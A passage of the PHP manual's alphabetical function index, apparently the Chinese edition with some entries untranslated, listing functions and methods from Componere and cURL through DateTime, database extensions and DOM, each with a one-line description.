    • CommonMark\Render\Latex - Rendering
    • CommonMark\Render\Man - Rendering
    • CommonMark\Render\XML - Rendering
    • compact - 建立一个数组，包括变量名和它们的值
    • Componere\Abstract\Definition::addInterface - Add Interface
    • Componere\Abstract\Definition::addMethod - Add Method
    • Componere\Abstract\Definition::addTrait - Add Trait
    • Componere\Abstract\Definition::getReflector - Reflection
    • Componere\cast - Casting
    • Componere\cast_by_ref - Casting
    • Componere\Definition::addConstant - Add Constant
    • Componere\Definition::addProperty - Add Property
    • Componere\Definition::getClosure - Get Closure
    • Componere\Definition::getClosures - Get Closures
    • Componere\Definition::isRegistered - State Detection
    • Componere\Definition::register - Registration
    • Componere\Definition::__construct - Definition Construction
    • Componere\Method::getReflector - Reflection
    • Componere\Method::setPrivate - Accessibility Modification
    • Componere\Method::setProtected - Accessibility Modification
    • Componere\Method::setStatic - Accessibility Modification
    • Componere\Method::__construct - Method Construction
    • Componere\Patch::apply - Application
    • Componere\Patch::derive - Patch Derivation
    • Componere\Patch::getClosure - Get Closure
    • Componere\Patch::getClosures - Get Closures
    • Componere\Patch::isApplied - State Detection
    • Componere\Patch::revert - Reversal
    • Componere\Patch::__construct - Patch Construction
    • Componere\Value::hasDefault - Value Interaction
    • Componere\Value::isPrivate - Accessibility Detection
    • Componere\Value::isProtected - Accessibility Detection
    • Componere\Value::isStatic - Accessibility Detection
    • Componere\Value::setPrivate - Accessibility Modification
    • Componere\Value::setProtected - Accessibility Modification
    • Componere\Value::setStatic - Accessibility Modification
    • Componere\Value::__construct - Value Construction
    • com_create_guid - Generate a globally unique identifier (GUID)
    • com_event_sink - Connect events from a COM object to a PHP object
    • com_get_active_object - Returns a handle to an already running instance of a COM object
    • com_load_typelib - 装载一个 Typelib
    • com_message_pump - Process COM messages, sleeping for up to timeoutms milliseconds
    • com_print_typeinfo - Print out a PHP class definition for a dispatchable interface
    • Cond::broadcast - 广播条件变量
    • Cond::create - 创建一个条件变量
    • Cond::destroy - 销毁条件变量
    • Cond::signal - 发送唤醒信号
    • Cond::wait - 等待
    • connection_aborted - 检查客户端是否已经断开
    • connection_status - 返回连接的状态位
    • constant - 返回一个常量的值
    • Constants for PDO_4D - Constants for PDO_4D
    • Context 参数 - Context 参数列表
    • convert_cyr_string - 将字符由一种 Cyrillic 字符转换成另一种
    • convert_uudecode - 解码一个 uuencode 编码的字符串
    • convert_uuencode - 使用 uuencode 编码一个字符串
    • copy - 拷贝文件
    • cos - 余弦
    • cosh - 双曲余弦
    • count - 计算数组中的单元数目，或对象中的属性个数
    • Countable::count - 统计一个对象的元素个数
    • Counter::bumpValue - 修改计数器的当前值。
    • Counter::getMeta - 返回计数器的部分元信息。
    • Counter::getNamed - 取回一个名称已存在的计数器。
    • Counter::getValue - 获取计数器的当前值。
    • Counter::resetValue - 重置计数器的当前值。
    • Counter::setCounterClass - 设置由 Counter::getNamed 返回的计数器类。
    • Counter::__construct - 创建一个包含单一数值的计数器实例。
    • counter_bump - 修改简单计数器的当前值。
    • counter_bump_value - 更新计数器资源的当前值。
    • counter_create - 创建一个包含单个数值的计数器。
    • counter_get - 获取简单计数器的当前值。
    • counter_get_meta - 返回计数器资源的部分元信息。
    • counter_get_named - 按名称查询一个已存在的计数器，并作为资源返回。
    • counter_get_value - 获取计数器资源的当前值。
    • counter_reset - 重置简单计数器的当前值。
    • counter_reset_value - 重置计数器资源的当前值。
    • count_chars - 返回字符串所用字符的信息
    • crack_check - 用给定的密码来进行破解测试
    • crack_closedict - Closes an open CrackLib dictionary
    • crack_getlastmessage - Returns the message from the last obscure check
    • crack_opendict - Opens a new CrackLib dictionary
    • crc32 - 计算一个字符串的 crc32 多项式
    • create_function - Create an anonymous (lambda-style) function
    • CrudOperationBindable::bind - Bind value to placeholder
    • CrudOperationLimitable::limit - Set result limit
    • CrudOperationSkippable::skip - Number of operations to skip
    • CrudOperationSortable::sort - Sort results
    • crypt - 单向字符串散列
    • ctype_alnum - 做字母和数字字符检测
    • ctype_alpha - 做纯字符检测
    • ctype_cntrl - 做控制字符检测
    • ctype_digit - 做纯数字检测
    • ctype_graph - 做可打印字符串检测，空格除外
    • ctype_lower - 做小写字符检测
    • ctype_print - 做可打印字符检测
    • ctype_punct - 检测可打印的字符是不是不包含空白、数字和字母
    • ctype_space - 做空白字符检测
    • ctype_upper - 做大写字母检测
    • ctype_xdigit - 检测字符串是否只包含十六进制字符
    • cubrid_affected_rows - Return the number of rows affected by the last SQL statement
    • cubrid_bind - Bind variables to a prepared statement as parameters
    • cubrid_client_encoding - Return the current CUBRID connection charset
    • cubrid_close - Close CUBRID connection
    • cubrid_close_prepare - Close the request handle
    • cubrid_close_request - Close the request handle
    • cubrid_column_names - Get the column names in result
    • cubrid_column_types - Get column types in result
    • cubrid_col_get - Get contents of collection type column using OID
    • cubrid_col_size - Get the number of elements in collection type column using OID
    • cubrid_commit - Commit a transaction
    • cubrid_connect - Open a connection to a CUBRID Server
    • cubrid_connect_with_url - Establish the environment for connecting to CUBRID server
    • cubrid_current_oid - Get OID of the current cursor location
    • cubrid_data_seek - Move the internal row pointer of the CUBRID result
    • cubrid_db_name - Get db name from results of cubrid_list_dbs
    • cubrid_disconnect - Close a database connection
    • cubrid_drop - Delete an instance using OID
    • cubrid_errno - Return the numerical value of the error message from previous CUBRID operation
    • cubrid_error - Get the error message
    • cubrid_error_code - Get error code for the most recent function call
    • cubrid_error_code_facility - Get the facility code of error
    • cubrid_error_msg - Get last error message for the most recent function call
    • cubrid_execute - Execute a prepared SQL statement
    • cubrid_fetch - Fetch the next row from a result set
    • cubrid_fetch_array - Fetch a result row as an associative array, a numeric array, or both
    • cubrid_fetch_assoc - Return the associative array that corresponds to the fetched row
    • cubrid_fetch_field - Get column information from a result and return as an object
    • cubrid_fetch_lengths - Return an array with the lengths of the values of each field from the current row
    • cubrid_fetch_object - Fetch the next row and return it as an object
    • cubrid_fetch_row - Return a numerical array with the values of the current row
    • cubrid_field_flags - Return a string with the flags of the given field offset
    • cubrid_field_len - Get the maximum length of the specified field
    • cubrid_field_name - Return the name of the specified field index
    • cubrid_field_seek - Move the result set cursor to the specified field offset
    • cubrid_field_table - Return the name of the table of the specified field
    • cubrid_field_type - Return the type of the column corresponding to the given field offset
    • cubrid_free_result - Free the memory occupied by the result data
    • cubrid_get - Get a column using OID
    • cubrid_get_autocommit - Get auto-commit mode of the connection
    • cubrid_get_charset - Return the current CUBRID connection charset
    • cubrid_get_class_name - Get the class name using OID
    • cubrid_get_client_info - Return the client library version
    • cubrid_get_db_parameter - Returns the CUBRID database parameters
    • cubrid_get_query_timeout - Get the query timeout value of the request
    • cubrid_get_server_info - Return the CUBRID server version
    • cubrid_insert_id - Return the ID generated for the last updated AUTO_INCREMENT column
    • cubrid_is_instance - Check whether the instance pointed by OID exists
    • cubrid_list_dbs - Return an array with the list of all existing CUBRID databases
    • cubrid_load_from_glo - Read data from a GLO instance and save it in a file
    • cubrid_lob2_bind - Bind a lob object or a string as a lob object to a prepared statement as parameters
    • cubrid_lob2_close - Close LOB object
    • cubrid_lob2_export - Export the lob object to a file
    • cubrid_lob2_import - Import BLOB/CLOB data from a file
    • cubrid_lob2_new - Create a lob object
    • cubrid_lob2_read - Read from BLOB/CLOB data
    • cubrid_lob2_seek - Move the cursor of a lob object
    • cubrid_lob2_seek64 - Move the cursor of a lob object
    • cubrid_lob2_size - Get a lob object's size
    • cubrid_lob2_size64 - Get a lob object's size
    • cubrid_lob2_tell - Tell the cursor position of the LOB object
    • cubrid_lob2_tell64 - Tell the cursor position of the LOB object
    • cubrid_lob2_write - Write to a lob object
    • cubrid_lob_close - Close BLOB/CLOB data
    • cubrid_lob_export - Export BLOB/CLOB data to file
    • cubrid_lob_get - Get BLOB/CLOB data
    • cubrid_lob_send - Read BLOB/CLOB data and send straight to browser
    • cubrid_lob_size - Get BLOB/CLOB data size
    • cubrid_lock_read - Set a read lock on the given OID
    • cubrid_lock_write - Set a write lock on the given OID
    • cubrid_move_cursor - Move the cursor in the result
    • cubrid_new_glo - Create a glo instance
    • cubrid_next_result - Get result of next query when executing multiple SQL statements
    • cubrid_num_cols - Return the number of columns in the result set
    • cubrid_num_fields - Return the number of columns in the result set
    • cubrid_num_rows - Get the number of rows in the result set
    • cubrid_pconnect - Open a persistent connection to a CUBRID server
    • cubrid_pconnect_with_url - Open a persistent connection to CUBRID server
    • cubrid_ping - Ping a server connection or reconnect if there is no connection
    • cubrid_prepare - Prepare a SQL statement for execution
    • cubrid_put - Update a column using OID
    • cubrid_query - Send a CUBRID query
    • cubrid_real_escape_string - Escape special characters in a string for use in an SQL statement
    • cubrid_result - Return the value of a specific field in a specific row
    • cubrid_rollback - Roll back a transaction
    • cubrid_save_to_glo - Save requested file in a GLO instance
    • cubrid_schema - Get the requested schema information
    • cubrid_send_glo - Read data from glo and send it to std output
    • cubrid_seq_drop - Delete an element from sequence type column using OID
    • cubrid_seq_insert - Insert an element to a sequence type column using OID
    • cubrid_seq_put - Update the element value of sequence type column using OID
    • cubrid_set_add - Insert a single element to set type column using OID
    • cubrid_set_autocommit - Set autocommit mode of the connection
    • cubrid_set_db_parameter - Sets the CUBRID database parameters
    • cubrid_set_drop - Delete an element from set type column using OID
    • cubrid_set_query_timeout - Set the timeout time of query execution
    • cubrid_unbuffered_query - Perform a query without fetching the results into memory
    • cubrid_version - Get the CUBRID PHP module's version
    • CURL context options - CURL 上下文选项列表
    • CURLFile::getFilename - 获取被上传文件的 文件名
    • CURLFile::getMimeType - 获取被上传文件的 MIME 类型
    • CURLFile::getPostFilename - 获取 POST 请求时使用的 文件名
    • CURLFile::setMimeType - 设置被上传文件的 MIME 类型
    • CURLFile::setPostFilename - 设置 POST 请求时使用的文件名
    • CURLFile::__construct - 创建 CURLFile 对象
    • CURLFile::__wakeup - 反序列化句柄
    • curl_close - 关闭 cURL 会话
    • curl_copy_handle - 复制一个cURL句柄和它的所有选项
    • curl_errno - 返回最后一次的错误代码
    • curl_error - 返回当前会话最后一次错误的字符串
    • curl_escape - 使用 URL 编码给定的字符串
    • curl_exec - 执行 cURL 会话
    • curl_getinfo - 获取一个cURL连接资源句柄的信息
    • curl_init - 初始化 cURL 会话
    • curl_multi_add_handle - 向curl批处理会话中添加单独的curl句柄
    • curl_multi_close - 关闭一组cURL句柄
    • curl_multi_errno - 返回上一次 curl 批处理的错误码
    • curl_multi_exec - 运行当前 cURL 句柄的子连接
    • curl_multi_getcontent - 如果设置了CURLOPT_RETURNTRANSFER，则返回获取的输出的文本流
    • curl_multi_info_read - 获取当前解析的cURL的相关传输信息
    • curl_multi_init - 返回一个新cURL批处理句柄
    • curl_multi_remove_handle - 移除cURL批处理句柄资源中的某个句柄资源
    • curl_multi_select - 等待所有cURL批处理中的活动连接
    • curl_multi_setopt - 为 cURL 并行处理设置一个选项
    • curl_multi_strerror - 返回字符串描述的错误代码
    • curl_pause - 暂停和取消暂停一个连接。
    • curl_reset - 重置一个 libcurl 会话句柄的所有的选项
    • curl_setopt - 设置 cURL 传输选项
    • curl_setopt_array - 为 cURL 传输会话批量设置选项
    • curl_share_close - 关闭 cURL 共享句柄
    • curl_share_errno - 返回共享 curl 句柄的最后一次错误号
    • curl_share_init - 初始化一个 cURL 共享句柄。
    • curl_share_setopt - 为 cURL 共享句柄设置选项。
    • curl_share_strerror - 返回错误号对应的错误消息
    • curl_strerror - 返回错误代码的字符串描述
    • curl_unescape - 解码给定的 URL 编码的字符串
    • curl_version - 获取 cURL 版本信息
    • current - 返回数组中的当前单元
    • cyrus_authenticate - Authenticate against a Cyrus IMAP server
    • cyrus_bind - Bind callbacks to a Cyrus IMAP connection
    • cyrus_close - Close connection to a Cyrus IMAP server
    • cyrus_connect - Connect to a Cyrus IMAP server
    • cyrus_query - Send a query to a Cyrus IMAP server
    • cyrus_unbind - Unbind ...
  • d
    • data:// - 数据（RFC 2397）
    • DatabaseObject::existsInDatabase - Check if object exists in database
    • DatabaseObject::getName - Get object name
    • DatabaseObject::getSession - Get session name
    • date - 格式化一个本地时间／日期
    • DateInterval::createFromDateString - Sets up a DateInterval from the relative parts of the string
    • DateInterval::format - Formats the interval
    • DateInterval::__construct - Creates a new DateInterval object
    • DatePeriod::getDateInterval - Gets the interval
    • DatePeriod::getEndDate - Gets the end date
    • DatePeriod::getRecurrences - Gets the number of recurrences
    • DatePeriod::getStartDate - Gets the start date
    • DatePeriod::__construct - Creates a new DatePeriod object
    • DateTime::add - 给一个 DateTime 对象增加一定量的天，月，年，小时，分钟 以及秒。
    • DateTime::createFromFormat - 根据给定的格式解析日期时间字符串
    • DateTime::createFromImmutable - Returns new DateTime object encapsulating the given DateTimeImmutable object
    • DateTime::diff - Returns the difference between two DateTime objects
    • DateTime::format - Returns date formatted according to given format
    • DateTime::getLastErrors - 获取警告和错误信息
    • DateTime::getOffset - Returns the timezone offset
    • DateTime::getTimestamp - Gets the Unix timestamp
    • DateTime::getTimezone - Return time zone relative to given DateTime
    • DateTime::modify - 修改日期时间对象的值
    • DateTime::setDate - 设置 DateTime 对象的日期
    • DateTime::setISODate - 设置 ISO 日期
    • DateTime::setTime - 设置 DateTime 对象的时间
    • DateTime::setTimestamp - 以 Unix 时间戳的方式设置 DateTime 对象
    • DateTime::setTimezone - 设置 DateTime 对象的时区
    • DateTime::sub - 对一个 DateTime 对象减去一定量的 日、月、年、小时、分钟和秒。
    • DateTime::__construct - 返回一个新的 DateTime 对象
    • DateTime::__set_state - __set_state 魔术方法处理函数
    • DateTime::__wakeup - The __wakeup handler
    • DateTimeImmutable::add - Adds an amount of days, months, years, hours, minutes and seconds
    • DateTimeImmutable::createFromFormat - Parses a time string according to a specified format
    • DateTimeImmutable::createFromMutable - Returns new DateTimeImmutable object encapsulating the given DateTime object
    • DateTimeImmutable::getLastErrors - Returns the warnings and errors
    • DateTimeImmutable::modify - Creates a new object with modified timestamp
    • DateTimeImmutable::setDate - Sets the date
    • DateTimeImmutable::setISODate - Sets the ISO date
    • DateTimeImmutable::setTime - Sets the time
    • DateTimeImmutable::setTimestamp - Sets the date and time based on a Unix timestamp
    • DateTimeImmutable::setTimezone - Sets the time zone
    • DateTimeImmutable::sub - Subtracts an amount of days, months, years, hours, minutes and seconds
    • DateTimeImmutable::__construct - Returns new DateTimeImmutable object
    • DateTimeImmutable::__set_state - The __set_state handler
    • DateTimeZone::getLocation - 返回与时区相关的定位信息。
    • DateTimeZone::getName - 返回时区名称。
    • DateTimeZone::getOffset - 返回相对于 GMT 的时差。
    • DateTimeZone::getTransitions - Returns all transitions for the timezone
    • DateTimeZone::listAbbreviations - 返回一个包含 dst (夏令时)，时差和时区信息的关联数组。
    • DateTimeZone::listIdentifiers - 返回一个包含了所有时区标示符的索引数组。
    • DateTimeZone::__construct - 创建新的DateTimeZone对象
    • date_add - 别名 DateTime::add
    • date_create - 别名 DateTime::__construct
    • date_create_from_format - 别名 DateTime::createFromFormat
    • date_create_immutable - 别名 DateTimeImmutable::__construct
    • date_create_immutable_from_format - 别名 DateTimeImmutable::createFromFormat
    • date_date_set - 别名 DateTime::setDate
    • date_default_timezone_get - 取得一个脚本中所有日期时间函数所使用的默认时区
    • date_default_timezone_set - 设定用于一个脚本中所有日期时间函数的默认时区
    • date_diff - 别名 DateTime::diff
    • date_format - 别名 DateTime::format
    • date_get_last_errors - 别名 DateTime::getLastErrors
    • date_interval_create_from_date_string - 别名 DateInterval::createFromDateString
    • date_interval_format - 别名 DateInterval::format
    • date_isodate_set - 别名 DateTime::setISODate
    • date_modify - 别名 DateTime::modify
    • date_offset_get - 别名 DateTime::getOffset
    • date_parse - Returns associative array with detailed info about given date
    • date_parse_from_format - Get info about given date formatted according to the specified format
    • date_sub - 别名 DateTime::sub
    • date_sunrise - 返回给定的日期与地点的日出时间
    • date_sunset - 返回给定的日期与地点的日落时间
    • date_sun_info - Returns an array with information about sunset/sunrise and twilight begin/end
    • date_timestamp_get - 别名 DateTime::getTimestamp
    • date_timestamp_set - 别名 DateTime::setTimestamp
    • date_timezone_get - 别名 DateTime::getTimezone
    • date_timezone_set - 别名 DateTime::setTimezone
    • date_time_set - 别名 DateTime::setTime
    • db2_autocommit - Returns or sets the AUTOCOMMIT state for a database connection
    • db2_bind_param - Binds a PHP variable to an SQL statement parameter
    • db2_client_info - Returns an object with properties that describe the DB2 database client
    • db2_close - Closes a database connection
    • db2_columns - Returns a result set listing the columns and associated metadata for a table
    • db2_column_privileges - Returns a result set listing the columns and associated privileges for a table
    • db2_commit - Commits a transaction
    • db2_connect - Returns a connection to a database
    • db2_conn_error - Returns a string containing the SQLSTATE returned by the last connection attempt
    • db2_conn_errormsg - Returns the last connection error message and SQLCODE value
    • db2_cursor_type - Returns the cursor type used by a statement resource
    • db2_escape_string - Used to escape certain characters
    • db2_exec - Executes an SQL statement directly
    • db2_execute - Executes a prepared SQL statement
    • db2_fetch_array - Returns an array, indexed by column position, representing a row in a result set
    • db2_fetch_assoc - Returns an array, indexed by column name, representing a row in a result set
    • db2_fetch_both - Returns an array, indexed by both column name and position, representing a row in a result set
    • db2_fetch_object - Returns an object with properties representing columns in the fetched row
    • db2_fetch_row - Sets the result set pointer to the next row or requested row
    • db2_field_display_size - Returns the maximum number of bytes required to display a column
    • db2_field_name - Returns the name of the column in the result set
    • db2_field_num - Returns the position of the named column in a result set
    • db2_field_precision - Returns the precision of the indicated column in a result set
    • db2_field_scale - Returns the scale of the indicated column in a result set
    • db2_field_type - Returns the data type of the indicated column in a result set
    • db2_field_width - Returns the width of the current value of the indicated column in a result set
    • db2_foreign_keys - Returns a result set listing the foreign keys for a table
    • db2_free_result - Frees resources associated with a result set
    • db2_free_stmt - Frees resources associated with the indicated statement resource
    • db2_get_option - Retrieves an option value for a statement resource or a connection resource
    • db2_last_insert_id - Returns the auto generated ID of the last insert query that successfully executed on this connection
    • db2_lob_read - Gets a user defined size of LOB files with each invocation
    • db2_next_result - Requests the next result set from a stored procedure
    • db2_num_fields - Returns the number of fields contained in a result set
    • db2_num_rows - Returns the number of rows affected by an SQL statement
    • db2_pclose - Closes a persistent database connection
    • db2_pconnect - Returns a persistent connection to a database
    • db2_prepare - Prepares an SQL statement to be executed
    • db2_primary_keys - Returns a result set listing primary keys for a table
    • db2_procedures - Returns a result set listing the stored procedures registered in a database
    • db2_procedure_columns - Returns a result set listing stored procedure parameters
    • db2_result - Returns a single column from a row in the result set
    • db2_rollback - Rolls back a transaction
    • db2_server_info - Returns an object with properties that describe the DB2 database server
    • db2_set_option - Set options for connection or statement resources
    • db2_special_columns - Returns a result set listing the unique row identifier columns for a table
    • db2_statistics - Returns a result set listing the index and statistics for a table
    • db2_stmt_error - Returns a string containing the SQLSTATE returned by an SQL statement
    • db2_stmt_errormsg - Returns a string containing the last SQL statement error message
    • db2_tables - Returns a result set listing the tables and associated metadata in a database
    • db2_table_privileges - Returns a result set listing the tables and associated privileges in a database
    • dbase_add_record - Adds a record to a database
    • dbase_close - Closes a database
    • dbase_create - Creates a database
    • dbase_delete_record - Deletes a record from a database
    • dbase_get_header_info - Gets the header info of a database
    • dbase_get_record - Gets a record from a database as an indexed array
    • dbase_get_record_with_names - Gets a record from a database as an associative array
    • dbase_numfields - Gets the number of fields of a database
    • dbase_numrecords - Gets the number of records in a database
    • dbase_open - Opens a database
    • dbase_pack - Packs a database
    • dbase_replace_record - Replaces a record in a database
    • dba_close - Close a DBA database
    • dba_delete - Delete DBA entry specified by key
    • dba_exists - Check whether key exists
    • dba_fetch - Fetch data specified by key
    • dba_firstkey - Fetch first key
    • dba_handlers - List all the handlers available
    • dba_insert - Insert entry
    • dba_key_split - Splits a key in string representation into array representation
    • dba_list - List all open database files
    • dba_nextkey - Fetch next key
    • dba_open - Open database
    • dba_optimize - Optimize database
    • dba_popen - Open database persistently
    • dba_replace - Replace or insert entry
    • dba_sync - Synchronize database
    • dbplus_add - Add a tuple to a relation
    • dbplus_aql - Perform AQL query
    • dbplus_chdir - Get/Set database virtual current directory
    • dbplus_close - Close a relation
    • dbplus_curr - Get current tuple from relation
    • dbplus_errcode - Get error string for given errorcode or last error
    • dbplus_errno - Get error code for last operation
    • dbplus_find - Set a constraint on a relation
    • dbplus_first - Get first tuple from relation
    • dbplus_flush - Flush all changes made on a relation
    • dbplus_freealllocks - Free all locks held by this client
    • dbplus_freelock - Release write lock on tuple
    • dbplus_freerlocks - Free all tuple locks on given relation
    • dbplus_getlock - Get a write lock on a tuple
    • dbplus_getunique - Get an id number unique to a relation
    • dbplus_info - Get information about a relation
    • dbplus_last - Get last tuple from relation
    • dbplus_lockrel - Request write lock on relation
    • dbplus_next - Get next tuple from relation
    • dbplus_open - Open relation file
    • dbplus_prev - Get previous tuple from relation
    • dbplus_rchperm - Change relation permissions
    • dbplus_rcreate - Creates a new DB++ relation
    • dbplus_rcrtexact - Creates an exact but empty copy of a relation including indices
    • dbplus_rcrtlike - Creates an empty copy of a relation with default indices
    • dbplus_resolve - Resolve host information for relation
    • dbplus_restorepos - Restore position
    • dbplus_rkeys - Specify new primary key for a relation
    • dbplus_ropen - Open relation file local
    • dbplus_rquery - Perform local (raw) AQL query
    • dbplus_rrename - Rename a relation
    • dbplus_rsecindex - Create a new secondary index for a relation
    • dbplus_runlink - Remove relation from filesystem
    • dbplus_rzap - Remove all tuples from relation
    • dbplus_savepos - Save position
    • dbplus_setindex - Set index
    • dbplus_setindexbynumber - Set index by number
    • dbplus_sql - Perform SQL query
    • dbplus_tcl - Execute TCL code on server side
    • dbplus_tremove - Remove tuple and return new current tuple
    • dbplus_undo - Undo
    • dbplus_undoprepare - Prepare undo
    • dbplus_unlockrel - Give up write lock on relation
    • dbplus_unselect - Remove a constraint from relation
    • dbplus_update - Update specified tuple in relation
    • dbplus_xlockrel - Request exclusive lock on relation
    • dbplus_xunlockrel - Free exclusive lock on relation
    • dbx_close - Close an open connection/database
    • dbx_compare - Compare two rows for sorting purposes
    • dbx_connect - Open a connection/database
    • dbx_error - Report the error message of the latest function call in the module
    • dbx_escape_string - Escape a string so it can safely be used in an sql-statement
    • dbx_fetch_row - Fetches rows from a query-result that had the DBX_RESULT_UNBUFFERED flag set
    • dbx_query - Send a query and fetch all results (if any)
    • dbx_sort - Sort a result from a dbx_query by a custom sort function
    • dcgettext - Overrides the domain for a single lookup
    • dcngettext - Plural version of dcgettext
    • debug_backtrace - 产生一条回溯跟踪(backtrace)
    • debug_print_backtrace - 打印一条回溯。
    • debug_zval_dump - Dumps a string representation of an internal zend value to output
    • decbin - 十进制转换为二进制
    • dechex - 十进制转换为十六进制
    • decoct - 十进制转换为八进制
    • define - 定义一个常量
    • defined - 检查某个名称的常量是否存在
    • define_syslog_variables - Initializes all syslog related variables
    • deflate_add - Incrementally deflate data
    • deflate_init - Initialize an incremental deflate context
    • deg2rad - 将角度转换为弧度
    • delete - 参见 unlink 或 unset
    • dgettext - Override the current domain
    • die - 等同于 exit
    • dio_close - Closes the file descriptor given by fd
    • dio_fcntl - Performs a c library fcntl on fd
    • dio_open - Opens a file (creating it if necessary) at a lower level than the C library input/ouput stream functions allow
    • dio_read - Reads bytes from a file descriptor
    • dio_seek - Seeks to pos on fd from whence
    • dio_stat - Gets stat information about the file descriptor fd
    • dio_tcsetattr - Sets terminal attributes and baud rate for a serial port
    • dio_truncate - Truncates file descriptor fd to offset bytes
    • dio_write - Writes data to fd with optional truncation at length
    • dir - 返回一个 Directory 类实例
    • Directory::close - 释放目录句柄
    • Directory::read - 从目录句柄中读取条目
    • Directory::rewind - 倒回目录句柄
    • DirectoryIterator::current - Return the current DirectoryIterator item
    • DirectoryIterator::getATime - Get last access time of the current DirectoryIterator item
    • DirectoryIterator::getBasename - Get base name of current DirectoryIterator item
    • DirectoryIterator::getCTime - Get inode change time of the current DirectoryIterator item
    • DirectoryIterator::getExtension - Gets the file extension
    • DirectoryIterator::getFilename - Return file name of current DirectoryIterator item
    • DirectoryIterator::getGroup - Get group for the current DirectoryIterator item
    • DirectoryIterator::getInode - Get inode for the current DirectoryIterator item
    • DirectoryIterator::getMTime - Get last modification time of current DirectoryIterator item
    • DirectoryIterator::getOwner - Get owner of current DirectoryIterator item
    • DirectoryIterator::getPath - Get path of current Iterator item without filename
    • DirectoryIterator::getPathname - Return path and file name of current DirectoryIterator item
    • DirectoryIterator::getPerms - Get the permissions of current DirectoryIterator item
    • DirectoryIterator::getSize - Get size of current DirectoryIterator item
    • DirectoryIterator::getType - Determine the type of the current DirectoryIterator item
    • DirectoryIterator::isDir - Determine if current DirectoryIterator item is a directory
    • DirectoryIterator::isDot - Determine if current DirectoryIterator item is '.' or '..'
    • DirectoryIterator::isExecutable - Determine if current DirectoryIterator item is executable
    • DirectoryIterator::isFile - Determine if current DirectoryIterator item is a regular file
    • DirectoryIterator::isLink - Determine if current DirectoryIterator item is a symbolic link
    • DirectoryIterator::isReadable - Determine if current DirectoryIterator item can be read
    • DirectoryIterator::isWritable - Determine if current DirectoryIterator item can be written to
    • DirectoryIterator::key - Return the key for the current DirectoryIterator item
    • DirectoryIterator::next - Move forward to next DirectoryIterator item
    • DirectoryIterator::rewind - Rewind the DirectoryIterator back to the start
    • DirectoryIterator::seek - Seek to a DirectoryIterator item
    • DirectoryIterator::valid - Check whether current DirectoryIterator position is a valid file
    • DirectoryIterator::__construct - Constructs a new directory iterator from a path
    • DirectoryIterator::__toString - Get file name as a string
    • dirname - 返回路径中的目录部分
    • diskfreespace - disk_free_space 的别名
    • disk_free_space - 返回目录中的可用空间
    • disk_total_space - 返回一个目录的磁盘总大小
    • dl - 运行时载入一个 PHP 扩展
    • dngettext - Plural version of dgettext
    • dns_check_record - 别名 checkdnsrr
    • dns_get_mx - 别名 getmxrr
    • dns_get_record - 获取指定主机的DNS记录
    • DocResult::fetchAll - Get all rows
    • DocResult::fetchOne - Get one row
    • DocResult::getWarnings - Get warnings from last operation
    • DocResult::getWarningsCount - Get warning count from last operation
    • DocResult::__construct - DocResult constructor
    • DOMAttr::isId - Checks if attribute is a defined ID
    • DOMAttr::__construct - Creates a new DOMAttr object
    • DOMCdataSection::__construct - Constructs a new DOMCdataSection object
    • DOMCharacterData::appendData - Append the string to the end of the character data of the node
    • DOMCharacterData::deleteData - Remove a range of characters from the node
    • DOMCharacterData::insertData - Insert a string at the specified 16-bit unit offset
    • DOMCharacterData::replaceData - Replace a substring within the DOMCharacterData node
    • DOMCharacterData::substringData - Extracts a range of data from the node
    • DOMComment::__construct - Creates a new DOMComment object
    • DOMDocument::createAttribute - Create new attribute
    • DOMDocument::createAttributeNS - Create new attribute node with an associated namespace
    • DOMDocument::createCDATASection - Create new cdata node
    • DOMDocument::createComment - Create new comment node
    • DOMDocument::createDocumentFragment - Create new document fragment
    • DOMDocument::createElement - Create new element node
    • DOMDocument::createElementNS - Create new element node with an associated namespace
    • DOMDocument::createEntityReference - Create new entity reference node
    • DOMDocument::createProcessingInstruction - Creates new PI node
    • DOMDocument::createTextNode - Create new text node
    • DOMDocument::getElementById - Searches for an element with a certain id
    • DOMDocument::getElementsByTagName - Searches for all elements with given local tag name
    • DOMDocument::getElementsByTagNameNS - Searches for all elements with given tag name in specified namespace
    • DOMDocument::importNode - Import node into current document
    • DOMDocument::load - Load XML from a file
    • DOMDocument::loadHTML - Load HTML from a string
    • DOMDocument::loadHTMLFile - Load HTML from a file
    • DOMDocument::loadXML - Load XML from a string
    • DOMDocument::normalizeDocument - Normalizes the document
    • DOMDocument::registerNodeClass - Register extended class used to create base node type
    • DOMDocument::relaxNGValidate - Performs relaxNG validation on the document
    • DOMDocument::relaxNGValidateSource - Performs relaxNG validation on the document
    • DOMDocument::save - Dumps the internal XML tree back into a file
    • DOMDocument::saveHTML - Dumps the internal document into a string using HTML formatting
    • DOMDocument::saveHTMLFile - Dumps the internal document into a file using HTML formatting
    • DOMDocument::saveXML - Dumps the internal XML tree back into a string
    • DOMDocument::schemaValidate - Validates a document based on a schema
    • DOMDocument::schemaValidateSource - Validates a document based on a schema
    • DOMDocument::validate - Validates the document based on its DTD
    • DOMDocument::xinclude - Substitutes XIncludes in a DOMDocument Object
    • DOMDocument::__construct - Creates a new DOMDocument object
    • DOMDocumentFragment::appendXML - Append raw XML data
    • DOMElement::getAttribute - Returns value of attribute
    • DOMElement::getAttributeNode - Returns attribute node
    • DOMElement::getAttributeNodeNS - Returns attribute node
    • DOMElement::getAttributeNS - Returns value of attribute
    • DOMElement::getElementsByTagName - Gets elements by tagname
    • DOMElement::getElementsByTagNameNS - Get elements by namespaceURI and localName
    • DOMElement::hasAttribute - Checks to see if attribute exists
    • DOMElement::hasAttributeNS - Checks to see if attribute exists
    • DOMElement::removeAttribute - Removes attribute
    • DOMElement::removeAttributeNode - Removes attribute
    • DOMElement::removeAttributeNS - Removes attribute
    • DOMElement::setAttribute - Adds new attribute
    • DOMElement::setAttributeNode - Adds new attribute node to element
    • DOMElement::setAttributeNodeNS - Adds new attribute node to element
    • DOMElement::setAttributeNS - Adds new attribute
    • DOMElement::setIdAttribute - Declares the attribute specified by name to be of type ID
    • DOMElement::setIdAttributeNode - Declares the attribute specified by node to be of type ID
    • DOMElement::setIdAttributeNS - Declares the attribute specified by local name and namespace URI to be of type ID
    • DOMElement::__construct - Creates a new DOMElement object
    • DOMEntityReference::__construct - Creates a new DOMEntityReference object
    • DOMImplementation::createDocument - Creates a DOMDocument object of the specified type with its document element
    • DOMImplementation::createDocumentType - Creates an empty DOMDocumentType object
    • DOMImplementation::hasFeature - Test if the DOM implementation implements a specific feature
    • DOMImplementation::__construct - Creates a new DOMImplementation object
    • DOMNamedNodeMap::count - Get number of nodes in the map
    • DOMNamedNodeMap::getNamedItem - Retrieves a node specified by name
    • DOMNamedNodeMap::getNamedItemNS - Retrieves a node specified by local name and namespace URI
